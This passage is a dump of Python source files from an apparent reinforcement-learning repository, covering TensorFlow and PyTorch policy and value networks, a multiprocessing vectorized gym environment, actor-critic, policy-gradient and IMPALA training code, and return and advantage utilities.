tf.contrib.layers.l2_regularizer(scale=1e-4)\n\n self.net = Network(trainable=trainable)\n self.dense = tf.layers.Dense(\n 1,\n kernel_initializer=kernel_initializer,\n kernel_regularizer=kernel_regularizer,\n trainable=trainable)\n\n def call(self, input, training):\n input = self.net(input, training=training)\n input = self.dense(input)\n input = tf.squeeze(input, -1)\n\n return input\n\n\nclass PolicyCategorical(tf.layers.Layer):\n def __init__(self,\n num_actions,\n trainable=True,\n name='policy_categorical'):\n super().__init__(name=name)\n\n kernel_initializer = tf.contrib.layers.variance_scaling_initializer(\n factor=2.0, mode='FAN_IN', uniform=False)\n kernel_regularizer = tf.contrib.layers.l2_regularizer(scale=1e-4)\n\n self.net = Network(trainable=trainable)\n self.dense = tf.layers.Dense(\n num_actions,\n kernel_initializer=kernel_initializer,\n kernel_regularizer=kernel_regularizer,\n trainable=trainable)\n\n def call(self, input, training):\n input = self.net(input, training=training)\n input = self.dense(input)\n\n dist = tf.distributions.Categorical(logits=input)\n\n return dist\n\n\nclass PolicyNormal(tf.layers.Layer):\n def __init__(self,\n num_actions,\n trainable=True,\n name='policy_categorical'):\n super().__init__(name=name)\n\n kernel_initializer = tf.contrib.layers.variance_scaling_initializer(\n factor=2.0, mode='FAN_IN', uniform=False)\n kernel_regularizer = tf.contrib.layers.l2_regularizer(scale=1e-4)\n\n self.net = Network(trainable=trainable)\n self.dense = tf.layers.Dense(\n num_actions * 2,\n kernel_initializer=kernel_initializer,\n kernel_regularizer=kernel_regularizer,\n trainable=trainable)\n\n def call(self, input, training):\n input = self.net(input, training=training)\n input = self.dense(input)\n\n mu, sigma = tf.split(input, 2, -1)\n sigma = tf.nn.softplus(sigma) + 1e-5\n dist = tf.distributions.Normal(mu, sigma)\n\n return dist\n" }, { "alpha_fraction": 0.575054943561554, "alphanum_fraction": 0.5762753486633301, "avg_line_length": 27.45138931274414, "blob_id": "bad8b0ea55329ee5d6eb6d491226103b9a4a3c45", "content_id": "ec52528bf427b3f06268af5fbff90c6ddc19a58b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4097, "license_type": "no_license", "max_line_length": 89, "num_lines": 144, "path": "/vec_env.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import itertools\n# from multiprocessing.pool import ThreadPool as Pool\n# from multiprocessing import Pool\nfrom multiprocessing import Pipe, Process\nimport gym\nfrom tqdm import tqdm\nimport numpy as np\nfrom enum import Enum\n\n# TODO: refactor\n\n# def __enter__(self)\n# def __exit__(self, exc_type, exc_value, traceback)\n\nCommand = Enum('Command', ['RESET', 'STEP', 'CLOSE', 'GET_SPACES', 'SEED'])\n\n\ndef env_step(a):\n env, action = a\n return env.step(action)\n\n\ndef worker(env_fn, conn):\n env = env_fn()\n\n while True:\n command, *data = conn.recv()\n\n if command is Command.RESET:\n conn.send(env.reset())\n elif command is Command.STEP:\n action, = data\n conn.send(env.step(action))\n elif command is Command.GET_SPACES:\n conn.send((env.observation_space, env.action_space))\n elif command is Command.SEED:\n seed, = data\n conn.send(env.seed(seed))\n elif command is Command.CLOSE:\n break\n else:\n raise AssertionError('invalid command {}'.format(command))\n\n\nclass VecEnv(object):\n def __init__(self, env_fns):\n self._conns, child_conns = zip(*[Pipe() for _ in range(len(env_fns))])\n self._processes = [Process(target=worker, args=(env_fn, child_conn))\n for env_fn, child_conn in zip(env_fns, child_conns)]\n\n for process in self._processes:\n process.start()\n\n self._conns[0].send((Command.GET_SPACES,))\n observation_space, action_space = self._conns[0].recv()\n\n self.observation_space = VecObservationSpace(observation_space=observation_space)\n self.action_space = VecActionSpace(size=len(env_fns), action_space=action_space)\n\n def reset(self, dones=None):\n if dones is None:\n for conn in self._conns:\n conn.send((Command.RESET,))\n\n state = np.array([conn.recv() for conn in self._conns])\n else:\n assert len(dones) == len(self._conns)\n\n state = np.zeros([len(self._conns), *self.observation_space.shape])\n\n for i, (conn, done) in enumerate(zip(self._conns, dones)):\n if done:\n conn.send((Command.RESET,))\n\n for i, (conn, done) in enumerate(zip(self._conns, dones)):\n if done:\n state[i] = conn.recv()\n\n return state\n\n def step(self, actions):\n assert len(actions) == len(self._conns)\n\n for conn, action in zip(self._conns, actions):\n conn.send((Command.STEP, action))\n\n state, reward, done, meta = zip(*[conn.recv() for conn in self._conns])\n\n state = np.array(state)\n reward = np.array(reward)\n done = np.array(done)\n\n return state, reward, done, meta\n\n def close(self):\n for conn in self._conns:\n conn.send((Command.CLOSE,))\n\n for process in self._processes:\n process.join()\n\n def seed(self, seed):\n for i, conn in enumerate(self._conns):\n conn.send((Command.SEED, seed + i))\n\n [conn.recv() for conn in self._conns]\n\n\nclass VecActionSpace(object):\n def __init__(self, size, action_space):\n self._size = size\n self._action_space = action_space\n self.shape = action_space.shape\n\n if hasattr(action_space, 'low') and hasattr(action_space, 'high'):\n self.low = action_space.low\n self.high = action_space.high\n\n def sample(self):\n return np.array([self._action_space.sample() for _ in range(self._size)])\n\n\nclass VecObservationSpace(object):\n def __init__(self, observation_space):\n self.shape = observation_space.shape\n\n\ndef main():\n env = VecEnv([lambda: gym.make('LunarLander-v2') for _ in range(8)])\n\n try:\n s = env.reset()\n\n for _ in tqdm(itertools.count()):\n a = env.action_space.sample()\n s, r, d, _ = env.step(a)\n\n s = np.where(np.expand_dims(d, -1), env.reset(d), s)\n finally:\n env.close()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.56669020652771, "alphanum_fraction": 0.5776287913322449, "avg_line_length": 28.216495513916016, "blob_id": "02bb20ac46d38c9aaf2601cdbef1ebaf8011adde", "content_id": "1985c6677c44c9fe3f0a38c3a4f005afda61f573", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2834, "license_type": "no_license", "max_line_length": 78, "num_lines": 97, "path": "/torch_rl/network.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import torch.nn as nn\nimport torch\n\n\n# TODO: set trainable\n# TODO: initialization\n\n\nclass Network(nn.Module):\n def __init__(self, in_features):\n super().__init__()\n\n self.dense_1 = nn.Linear(in_features, 32)\n self.dense_2 = nn.Linear(32, 32)\n\n nn.init.xavier_normal_(self.dense_1.weight)\n nn.init.xavier_normal_(self.dense_2.weight)\n\n def forward(self, input):\n input = self.dense_1(input)\n input = torch.tanh(input)\n\n input = self.dense_2(input)\n input = torch.tanh(input)\n\n return input\n\n\n# class ValueFunction(tf.layers.Layer):\n# def __init__(self,\n# trainable=True,\n# name='value_function'):\n# super().__init__(name=name)\n#\n# kernel_initializer = tf.contrib.layers.variance_scaling_initializer(\n# factor=2.0, mode='FAN_IN', uniform=False)\n# kernel_regularizer = tf.contrib.layers.l2_regularizer(scale=1e-4)\n#\n# self.net = Network(trainable=trainable)\n# self.dense = tf.layers.Dense(\n# 1,\n# kernel_initializer=kernel_initializer,\n# kernel_regularizer=kernel_regularizer,\n# trainable=trainable)\n#\n# def call(self, input, training):\n# input = self.net(input, training=training)\n# input = self.dense(input)\n# input = tf.squeeze(input, -1)\n#\n# return input\n\n\nclass PolicyCategorical(nn.Module):\n def __init__(self, state_size, num_actions):\n super().__init__()\n\n self.net = Network(state_size)\n self.dense = nn.Linear(32, num_actions)\n\n nn.init.xavier_normal_(self.dense.weight)\n\n def forward(self, input):\n input = self.net(input)\n input = self.dense(input)\n\n dist = torch.distributions.Categorical(logits=input)\n\n return dist\n\n# class PolicyNormal(tf.layers.Layer):\n# def __init__(self,\n# num_actions,\n# trainable=True,\n# name='policy_categorical'):\n# super().__init__(name=name)\n#\n# kernel_initializer = tf.contrib.layers.variance_scaling_initializer(\n# factor=2.0, mode='FAN_IN', uniform=False)\n# kernel_regularizer = tf.contrib.layers.l2_regularizer(scale=1e-4)\n#\n# self.net = Network(trainable=trainable)\n# self.dense = tf.layers.Dense(\n# num_actions * 2,\n# kernel_initializer=kernel_initializer,\n# kernel_regularizer=kernel_regularizer,\n# trainable=trainable)\n#\n# def call(self, input, training):\n# input = self.net(input, training=training)\n# input = self.dense(input)\n#\n# mu, sigma = tf.split(input, 2, -1)\n# sigma = tf.nn.softplus(sigma) + 1e-5\n# dist = tf.distributions.Normal(mu, sigma)\n#\n# return dist\n" }, { "alpha_fraction": 0.731249988079071, "alphanum_fraction": 0.7437499761581421, "avg_line_length": 39, "blob_id": "d9e89d2e48087ec8c879c8914a77e69d08b7129f", "content_id": "21568a1a25586407ac5875a038190713395cd790", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 320, "license_type": "no_license", "max_line_length": 67, "num_lines": 8, "path": "/README.md", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "# Implementations of popular deep reinforcement learning algorithms\n\n* [REINFORCE](pg_mc.py)\n* [Actor Critic with Monte Carlo advantage estimate](ac_mc.py)\n* [Advantage Actor Critic (A2C)](a2c.py)\n* [Asynchronous Advantage Actor Critic (A3C)](a3c.py)\n* [Proximal Policy Optimization (PPO)](ppo.py)\n* [IMPALA](impala.py)\n" }, { "alpha_fraction": 0.5994406938552856, "alphanum_fraction": 0.6076657176017761, "avg_line_length": 36.067073822021484, "blob_id": "f092461718bb955e3010c28d4dee424802015a19", "content_id": "824e270dfffbc56c57fa3dd33f484745064e05c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6079, "license_type": "no_license", "max_line_length": 108, "num_lines": 164, "path": "/actor_critic_swap.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import argparse\nimport collections\nimport numpy as np\nimport gym\nimport os\nimport tensorflow as tf\nimport itertools\nfrom tqdm import tqdm\nfrom network import ValueFunction, PolicyCategorical\n\n\ndef sample_history(history, batch_size):\n indices = np.random.permutation(len(history))\n indices = indices[:batch_size]\n batch = [history[i] for i in indices]\n\n batch = zip(*batch)\n batch = tuple(np.array(x) for x in batch)\n\n return batch\n\n\ndef build_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument('--history-size', type=int, default=50000)\n parser.add_argument('--value-update-interval', type=int, default=5000)\n parser.add_argument('--batch-size', type=int, default=256)\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--experiment-path', type=str, required=True)\n parser.add_argument('--env', type=str, required=True)\n parser.add_argument('--episodes', type=int, default=1000)\n parser.add_argument('--gamma', type=float, default=0.99)\n parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\ndef main():\n args = build_parser().parse_args()\n experiment_path = os.path.join(args.experiment_path, args.env)\n env = gym.make(args.env)\n state_size = np.squeeze(env.observation_space.shape)\n assert state_size.shape == ()\n\n if args.monitor:\n env = gym.wrappers.Monitor(env, os.path.join('./data', args.env), force=True)\n\n global_step = tf.train.get_or_create_global_step()\n training = tf.placeholder(tf.bool, [])\n\n # input\n state = tf.placeholder(tf.float32, [None, state_size])\n action = tf.placeholder(tf.int32, [None])\n reward = tf.placeholder(tf.float32, [None])\n state_prime = tf.placeholder(tf.float32, [None, state_size])\n done = tf.placeholder(tf.bool, [None])\n\n # critic\n value_function = ValueFunction(name='value_function')\n state_value = value_function(state, training=training)\n\n value_function_old = ValueFunction(trainable=False, name='value_function_old')\n state_prime_value_old = value_function_old(state_prime, training=training)\n td_target_old = tf.where(done, reward, reward + args.gamma * state_prime_value_old)\n\n critic_loss = tf.losses.mean_squared_error(\n labels=tf.stop_gradient(td_target_old),\n predictions=state_value)\n\n # actor\n policy = PolicyCategorical(env.action_space.n)\n dist = policy(state, training=training)\n action_sample = dist.sample()\n td_error = td_target_old - state_value\n advantage = tf.stop_gradient(td_error)\n actor_loss = -tf.reduce_mean(dist.log_prob(action) * advantage)\n actor_loss -= 1e-3 * tf.reduce_mean(dist.entropy())\n\n # training\n loss = actor_loss + critic_loss * 0.5 + tf.losses.get_regularization_loss()\n\n value_function_vars = tf.global_variables('value_function/')\n value_function_old_vars = tf.global_variables('value_function_old/')\n assert len(value_function_vars) == len(value_function_old_vars)\n value_function_old_update = tf.group(*[\n var_old.assign(var) for var, var_old in zip(value_function_vars, value_function_old_vars)])\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_step = tf.train.AdamOptimizer(args.learning_rate).minimize(loss, global_step=global_step)\n\n metrics, update_metrics = {}, {}\n metrics['loss'], update_metrics['loss'] = tf.metrics.mean(loss)\n episode_length = tf.placeholder(tf.float32, [])\n episode_reward = tf.placeholder(tf.float32, [])\n summary = tf.summary.merge([\n tf.summary.scalar('loss', metrics['loss']),\n tf.summary.scalar('episode_length', episode_length),\n tf.summary.scalar('episode_reward', episode_reward)\n ])\n\n locals_init = tf.local_variables_initializer()\n saver = tf.train.Saver()\n with tf.Session() as sess, tf.summary.FileWriter(experiment_path) as writer:\n if tf.train.latest_checkpoint(experiment_path):\n saver.restore(sess, tf.train.latest_checkpoint(experiment_path))\n else:\n sess.run(tf.global_variables_initializer())\n sess.run(value_function_old_update)\n\n history = collections.deque(maxlen=args.history_size)\n\n s = env.reset()\n for _ in tqdm(range(args.history_size // 10), desc='building history'):\n a = env.action_space.sample()\n s_prime, r, d, _ = env.step(a)\n history.append((s, a, r, s_prime, d))\n\n if d:\n s = env.reset()\n else:\n s = s_prime\n\n assert len(history) == args.history_size // 10\n\n for i in range(args.episodes):\n sess.run(locals_init)\n s = env.reset()\n ep_r = 0\n\n for t in tqdm(itertools.count(), desc='episode {}, history size {}'.format(i, len(history))):\n a = sess.run(action_sample, {state: s.reshape((1, state_size)), training: False}).squeeze(0)\n s_prime, r, d, _ = env.step(a)\n ep_r += r\n\n history.append((s, a, r, s_prime, d))\n batch = sample_history(history, args.batch_size)\n _, _, step = sess.run(\n [train_step, update_metrics, global_step],\n {\n state: batch[0],\n action: batch[1],\n reward: batch[2],\n state_prime: batch[3],\n done: batch[4],\n training: True\n })\n\n if step % args.value_update_interval == 0:\n sess.run(value_function_old_update)\n\n if d:\n break\n else:\n s = s_prime\n\n summ, metr = sess.run([summary, metrics], {episode_length: t, episode_reward: ep_r})\n writer.add_summary(summ, step)\n writer.flush()\n saver.save(sess, os.path.join(experiment_path, 'model.ckpt'))\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.593136191368103, "alphanum_fraction": 0.6017699241638184, "avg_line_length": 33.57462692260742, "blob_id": "493db22b1086f326cbb6f40e14261f679436631a", "content_id": "2f1b5b0309d7067c79619c99fd177cdbdaf7c23a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4633, "license_type": "no_license", "max_line_length": 119, "num_lines": 134, "path": "/ac_mc.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import utils\nimport numpy as np\nimport gym\nimport os\nimport tensorflow as tf\nimport itertools\nfrom tqdm import tqdm\nfrom network import ValueFunction, PolicyCategorical\n\n\n# TODO: sum gradients?\n\ndef build_batch(history):\n columns = zip(*history)\n\n return [np.array(col).swapaxes(0, 1) for col in columns]\n\n\ndef build_parser():\n parser = utils.ArgumentParser()\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--experiment-path', type=str, default='./tf_log/ac-mc')\n parser.add_argument('--env', type=str, required=True)\n parser.add_argument('--episodes', type=int, default=10000)\n parser.add_argument('--entropy-weight', type=float, default=1e-2)\n parser.add_argument('--gamma', type=float, default=0.99)\n parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\ndef main():\n args = build_parser().parse_args()\n utils.fix_seed(args.seed)\n experiment_path = os.path.join(args.experiment_path, args.env)\n env = gym.make(args.env)\n env.seed(args.seed)\n\n if args.monitor:\n env = gym.wrappers.Monitor(env, os.path.join('./data', args.env), force=True)\n\n global_step = tf.train.get_or_create_global_step()\n training = tf.placeholder(tf.bool, [], name='training')\n\n # input\n b, t = 1, None\n states = tf.placeholder(tf.float32, [b, t, *env.observation_space.shape], name='states')\n actions = tf.placeholder(tf.int32, [b, t], name='actions')\n rewards = tf.placeholder(tf.float32, [b, t], name='rewards')\n\n # critic\n value_function = ValueFunction()\n values = value_function(states, training=training)\n returns = utils.batch_return(rewards, gamma=args.gamma)\n value_targets = tf.stop_gradient(returns)\n errors = value_targets - values\n critic_loss = tf.reduce_mean(tf.square(errors))\n\n # actor\n policy = PolicyCategorical(env.action_space.n)\n dist = policy(states, training=training)\n action_sample = dist.sample()\n advantages = tf.stop_gradient(errors) # TODO: normalize advantages?\n actor_loss = -tf.reduce_mean(dist.log_prob(actions) * advantages)\n actor_loss -= args.entropy_weight * tf.reduce_mean(dist.entropy())\n\n # training\n loss = actor_loss + critic_loss * 0.5 + tf.losses.get_regularization_loss()\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_step = tf.train.AdamOptimizer(args.learning_rate).minimize(loss, global_step=global_step)\n\n # summary\n ep_length = tf.placeholder(tf.float32, [])\n ep_reward = tf.placeholder(tf.float32, [])\n metrics, update_metrics = {}, {}\n metrics['loss'], update_metrics['loss'] = tf.metrics.mean(loss)\n metrics['ep_length'], update_metrics['ep_length'] = tf.metrics.mean(ep_length)\n metrics['ep_reward'], update_metrics['ep_reward'] = tf.metrics.mean(ep_reward)\n summary = tf.summary.merge([\n tf.summary.scalar('loss', metrics['loss']),\n tf.summary.scalar('ep_length', metrics['ep_length']),\n tf.summary.scalar('ep_reward', metrics['ep_reward'])\n ])\n\n locals_init = tf.local_variables_initializer()\n\n hooks = [\n tf.train.CheckpointSaverHook(checkpoint_dir=experiment_path, save_steps=100)\n ]\n with tf.train.SingularMonitoredSession(checkpoint_dir=experiment_path, hooks=hooks) as sess, tf.summary.FileWriter(\n experiment_path) as writer:\n sess.run(locals_init)\n\n for ep in tqdm(range(args.episodes), desc='training'):\n history = []\n s = env.reset()\n ep_r = 0\n\n for t in itertools.count():\n a = sess.run(action_sample, {states: np.reshape(s, (1, 1, -1))}).squeeze((0, 1))\n s_prime, r, d, _ = env.step(a)\n ep_r += r\n\n history.append(([s], [a], [r]))\n\n if d:\n break\n else:\n s = s_prime\n\n batch = {}\n batch['states'], batch['actions'], batch['rewards'] = build_batch(history)\n\n _, _, step = sess.run(\n [train_step, update_metrics, global_step],\n {\n states: batch['states'],\n actions: batch['actions'],\n rewards: batch['rewards'],\n ep_length: t,\n ep_reward: ep_r\n })\n\n if ep % 100 == 0:\n summ, metr = sess.run([summary, metrics])\n writer.add_summary(summ, step)\n writer.flush()\n sess.run(locals_init)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5859442949295044, "alphanum_fraction": 0.5966057181358337, "avg_line_length": 27.196319580078125, "blob_id": "b4d7a551dfa131e07a93bdcb584fcd58dffd026f", "content_id": "45e28cb20a4aa7ae8dcf7b20317ba17391373773", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4596, "license_type": "no_license", "max_line_length": 104, "num_lines": 163, "path": "/utils.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import argparse\nimport random\nimport numpy as np\nimport tensorflow as tf\n\n\nclass EpisodeTracker(object):\n def __init__(self, state):\n self.ep_length = np.zeros(state.shape[:1])\n self.ep_reward = np.zeros(state.shape[:1])\n self.finished_episodes = np.zeros((0, 2))\n\n def update(self, reward, done):\n self.ep_length += 1\n self.ep_reward += reward\n\n ep_length = self.ep_length[done]\n ep_reward = self.ep_reward[done]\n\n self.ep_length *= ~done\n self.ep_reward *= ~done\n\n finished_episodes = np.stack([ep_length, ep_reward], 1)\n self.finished_episodes = np.concatenate([self.finished_episodes, finished_episodes], 0)\n\n def reset(self):\n finished_episodes = self.finished_episodes\n self.finished_episodes = np.zeros((0, 2))\n\n return finished_episodes\n\n\ndef fix_seed(seed):\n random.seed(seed)\n np.random.seed(seed)\n tf.set_random_seed(seed)\n\n\ndef normalization(x):\n mean = tf.reduce_mean(x)\n std = tf.sqrt(tf.reduce_mean(tf.square(x - mean)))\n\n return (x - mean) / std\n\n\ndef flatten_batch_horizon(array):\n b, h, *shape = array.shape\n return array.reshape((b * h, *shape))\n\n\n# TODO: test\ndef discounted_return(rewards, gamma):\n returns = np.zeros(rewards.shape)\n ret = 0\n\n for t in reversed(range(rewards.shape[0])):\n ret = rewards[t] + gamma * ret\n returns[t] = ret\n\n return returns\n\n\ndef batch_discounted_return(rewards, gamma):\n returns = np.zeros(rewards.shape)\n ret = np.zeros(rewards.shape[:1])\n\n for t in reversed(range(rewards.shape[1])):\n ret = rewards[:, t] + gamma * ret\n returns[:, t] = ret\n\n return returns\n\n\ndef batch_return(rewards, gamma, name='batch_return'):\n with tf.name_scope(name):\n value_prime = tf.zeros(tf.shape(rewards)[:1])\n dones = tf.fill(tf.shape(rewards), False)\n\n return batch_n_step_return(rewards, value_prime, dones, gamma)\n\n\ndef batch_n_step_return(rewards, value_prime, dones, gamma, name='batch_n_step_return'):\n def scan_fn(acc, elem):\n reward, mask = elem\n\n return reward + mask * gamma * acc\n\n with tf.name_scope(name):\n rewards, value_prime, dones, gamma = convert_to_tensors(\n [rewards, value_prime, dones, gamma],\n [tf.float32, tf.float32, tf.bool, tf.float32])\n\n mask = tf.to_float(~dones)\n elems = (tf.transpose(rewards, (1, 0)), tf.transpose(mask, (1, 0)))\n\n returns = tf.scan(\n scan_fn,\n elems,\n value_prime,\n back_prop=False,\n reverse=True)\n\n return tf.transpose(returns, (1, 0))\n\n\ndef generalized_advantage_estimation(rewards, values, value_prime, dones, gamma, lam):\n batch_size, horizon = rewards.shape\n gaes = np.zeros((batch_size, horizon))\n gae = np.zeros((batch_size,))\n masks = np.logical_not(dones)\n\n for t in reversed(range(horizon)):\n if t == horizon - 1:\n delta = rewards[:, t] + gamma * value_prime * masks[:, t] - values[:, t]\n else:\n delta = rewards[:, t] + gamma * values[:, t + 1] * masks[:, t] - values[:, t]\n\n gae = delta + gamma * lam * masks[:, t] * gae\n gaes[:, t] = gae\n\n return gaes\n\n\ndef convert_to_tensors(tensors, dtypes):\n assert len(tensors) == len(dtypes)\n\n return [tf.convert_to_tensor(tensor, dtype) for tensor, dtype in zip(tensors, dtypes)]\n\n\ndef batch_generalized_advantage_estimation(\n rewards, values, value_prime, dones, gamma, lam, name='batch_generalized_advantage_estimation'):\n def scan_fn(acc, elem):\n error, mask = elem\n\n return error + mask * gamma * lam * acc\n\n with tf.name_scope(name):\n rewards, values, value_prime, dones, gamma, lam = convert_to_tensors(\n [rewards, values, value_prime, dones, gamma, lam],\n [tf.float32, tf.float32, tf.float32, tf.bool, tf.float32, tf.float32])\n\n mask = tf.to_float(~dones)\n values_prime = tf.concat([values[:, 1:], tf.expand_dims(value_prime, 1)], 1)\n errors = rewards + mask * gamma * values_prime - values\n\n elems = (tf.transpose(errors, (1, 0)), tf.transpose(mask, (1, 0)))\n initializer = tf.zeros_like(value_prime)\n\n gaes = tf.scan(\n scan_fn,\n elems,\n initializer,\n back_prop=False,\n reverse=True)\n\n return tf.transpose(gaes, (1, 0))\n\n\nclass ArgumentParser(argparse.ArgumentParser):\n def __init__(self):\n super().__init__()\n\n self.add_argument('--seed', type=int, default=42)\n" }, { "alpha_fraction": 0.6482737064361572, "alphanum_fraction": 0.65813809633255, "avg_line_length": 33.147369384765625, "blob_id": "dc6ac9a83e751c609d6eeb24984535d8768c4a76", "content_id": "697e6ab2e835aa760b896253e620c8faf3071309", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3244, "license_type": "no_license", "max_line_length": 119, "num_lines": 95, "path": "/pg_mnist.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import utils\nimport numpy as np\nimport os\nimport tensorflow as tf\nfrom mnist import MNIST\nimport itertools\nfrom tqdm import tqdm\nfrom network import PolicyCategorical\n\n\ndef build_dataset(dataset_path):\n mnist = MNIST(dataset_path, gz=True)\n images, labels = mnist.load_training()\n images = (np.array(images) / 255).astype(np.float32)\n labels = np.array(labels).astype(np.int32)\n\n ds = tf.data.Dataset.from_tensor_slices((images, labels))\n ds = ds.batch(32)\n ds = ds.prefetch(None)\n\n return ds\n\n\ndef build_parser():\n parser = utils.ArgumentParser()\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--experiment-path', type=str, default='./tf_log/pg-mnist')\n parser.add_argument('--dataset-path', type=str, default=os.path.expanduser('~/Datasets/mnist'))\n parser.add_argument('--episodes', type=int, default=10000)\n parser.add_argument('--entropy-weight', type=float, default=1e-2)\n parser.add_argument('--gamma', type=float, default=0.99)\n parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\ndef main():\n args = build_parser().parse_args()\n utils.fix_seed(args.seed)\n experiment_path = args.experiment_path\n\n global_step = tf.train.get_or_create_global_step()\n training = tf.placeholder(tf.bool, [], name='training')\n\n # input\n ds = build_dataset(args.dataset_path)\n images, labels = ds.make_one_shot_iterator().get_next()\n states = images\n\n # actor\n policy = PolicyCategorical(28 * 28)\n dist = policy(states, training=training)\n actions = tf.stop_gradient(dist.sample())\n rewards = tf.to_float(tf.equal(actions, labels))\n advantages = tf.stop_gradient(rewards) # TODO: normalize advantages?\n actor_loss = -tf.reduce_mean(dist.log_prob(actions) * advantages)\n actor_loss -= args.entropy_weight * tf.reduce_mean(dist.entropy())\n\n # training\n loss = actor_loss + tf.losses.get_regularization_loss()\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_step = tf.train.AdamOptimizer(args.learning_rate).minimize(loss, global_step=global_step)\n\n # summary\n metrics, update_metrics = {}, {}\n metrics['loss'], update_metrics['loss'] = tf.metrics.mean(loss)\n metrics['ep_reward'], update_metrics['ep_reward'] = tf.metrics.mean(rewards)\n summary = tf.summary.merge([\n tf.summary.scalar('loss', metrics['loss']),\n tf.summary.scalar('ep_reward', metrics['ep_reward'])\n ])\n\n locals_init = tf.local_variables_initializer()\n\n hooks = [\n tf.train.CheckpointSaverHook(checkpoint_dir=experiment_path, save_steps=100)\n ]\n with tf.train.SingularMonitoredSession(checkpoint_dir=experiment_path, hooks=hooks) as sess, tf.summary.FileWriter(\n experiment_path) as writer:\n sess.run(locals_init)\n\n for _ in tqdm(itertools.count()):\n _, _, step = sess.run([train_step, update_metrics, global_step])\n\n if step % 100 == 0:\n summ, metr = sess.run([summary, metrics])\n writer.add_summary(summ, step)\n writer.flush()\n sess.run(locals_init)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.597408652305603, "alphanum_fraction": 0.6058713793754578, "avg_line_length": 40.790245056152344, "blob_id": "f7e917361a0f01794ec987ce4b1e3c304281dea6", "content_id": "52699efc0aa2a89ba7e49dab680cd158f65edb1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17134, "license_type": "no_license", "max_line_length": 117, "num_lines": 410, "path": "/impala.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import os\nfrom network import ValueFunction, PolicyCategorical\nimport itertools\nimport tensorflow as tf\nimport utils\nimport gym\nimport numpy as np\nimport ray\n\n\n# TODO: plural names\n# TODO: join value function and policy everywhere\n# TODO: refactor net creation\n# TODO: use args.episodes\n# TODO: print ratio\n\ndef from_importance_weights(\n log_ratios, discounts, rewards, values, value_prime, clip_ratio_threshold=1.0, clip_pg_ratio_threshold=1.0,\n name='from_importance_weights'):\n with tf.name_scope(name):\n log_ratios = tf.convert_to_tensor(log_ratios, dtype=tf.float32)\n discounts = tf.convert_to_tensor(discounts, dtype=tf.float32)\n rewards = tf.convert_to_tensor(rewards, dtype=tf.float32)\n values = tf.convert_to_tensor(values, dtype=tf.float32)\n value_prime = tf.convert_to_tensor(value_prime, dtype=tf.float32)\n if clip_ratio_threshold is not None:\n clip_ratio_threshold = tf.convert_to_tensor(clip_ratio_threshold, dtype=tf.float32)\n if clip_pg_ratio_threshold is not None:\n clip_pg_ratio_threshold = tf.convert_to_tensor(clip_pg_ratio_threshold, dtype=tf.float32)\n\n ratios = tf.exp(log_ratios)\n if clip_ratio_threshold is not None:\n clipped_ratios = tf.minimum(clip_ratio_threshold, ratios)\n else:\n clipped_ratios = ratios\n\n cs = tf.minimum(1.0, ratios) # TODO: why cs is computed like this?\n # Append bootstrapped value to get [v1, ..., v_t+1]\n values_prime = tf.concat([values[1:], tf.expand_dims(value_prime, 0)], axis=0)\n deltas = clipped_ratios * (rewards + discounts * values_prime - values)\n\n # V-trace vs are calculated through a scan from the back to the beginning\n # of the given trajectory.\n def scanfunc(acc, sequence_item):\n discount_t, c_t, delta_t = sequence_item\n return delta_t + discount_t * c_t * acc\n\n initial_values = tf.zeros_like(value_prime)\n vs_minus_values = tf.scan(\n fn=scanfunc,\n elems=(discounts, cs, deltas),\n initializer=initial_values,\n parallel_iterations=1,\n back_prop=False,\n reverse=True)\n\n # Add V(x_s) to get v_s.\n vs = vs_minus_values + values\n\n # Advantage for policy gradient.\n vs_prime = tf.concat([vs[1:], tf.expand_dims(value_prime, 0)], axis=0)\n if clip_pg_ratio_threshold is not None:\n clipped_pg_ratios = tf.minimum(clip_pg_ratio_threshold, ratios)\n else:\n clipped_pg_ratios = ratios\n pg_advantages = clipped_pg_ratios * (rewards + discounts * vs_prime - values)\n\n return tf.stop_gradient(vs), tf.stop_gradient(pg_advantages)\n\n\nclass ValueFunctionAndPolicy(tf.layers.Layer):\n def __init__(self, num_actions, name='value_function_and_policy'):\n super().__init__(name=name)\n\n self.value_function = ValueFunction()\n self.policy = PolicyCategorical(num_actions)\n\n def call(self, input, training):\n value = self.value_function(input, training=training)\n dist = self.policy(input, training=training)\n\n return value, dist\n\n\nclass Master(object):\n def __init__(self, 